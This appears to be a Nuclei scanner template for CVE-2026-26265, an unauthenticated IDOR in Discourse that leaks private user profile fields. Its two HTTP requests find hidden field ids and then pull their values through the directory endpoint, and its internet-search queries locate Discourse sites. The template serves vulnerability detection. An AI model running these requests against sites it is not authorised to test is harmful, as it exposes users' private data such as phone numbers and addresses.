CVE-2026-26265: Discourse - Private User Field Disclosure via Directory Items IDOR

id: CVE-2026-26265

info:
  name: Discourse - Private User Field Disclosure via Directory Items IDOR
  author: str4k3r
  severity: high
  description: |
    Discourse prior to 2025.12.2, 2026.1.1, and 2026.2.0 contains an IDOR vulnerability caused by lack of authorization checks on user_field_ids parameter in DirectoryItemsController#index, letting any user retrieve private user field values, exploit requires no authentication.
  impact: |
    Any user, including anonymous, can bulk exfiltrate private user data such as phone numbers and addresses.
  remediation: |
    Update to versions 2025.12.2, 2026.1.1, or 2026.2.0 or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-crxf-p6jm-vpgw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26265
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-26265
    epss-score: 0.00266
    epss-percentile: 0.18764
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: app="Discourse"
    zoomeye-query: app:"Discourse"
    hunter-query: web.title="Discourse"
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: |
  http(1);
  var id = template["uf_id"];
  if (Array.isArray(id)) set("uf_id", id[0]);
  if (template["uf_id"]) http(2);

http:
  - raw:
      - |
        GET /site.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "user_fields")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: uf_id
        internal: true
        part: body
        group: 1
        regex:
          - '"id":(\d+)[^{}]*?"show_on_(?:profile|user_card)":false'

  - raw:
      - |
        GET /directory_items.json?period=all&user_field_ids={{uf_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"user_fields\":{\"" + uf_id + "\":")'
        condition: and
# digest: 4a0a00473045022100faddbf9764892a7a46ac0a6e7de89176557b42fe5f492cb538d0464a43a3131e022040fd64fc17b6b0d40ab41aa4e91ab7c8fb4a01f6a24bd556ff062d67edeeddfe:922c64590222798bb761d5b6d8e72950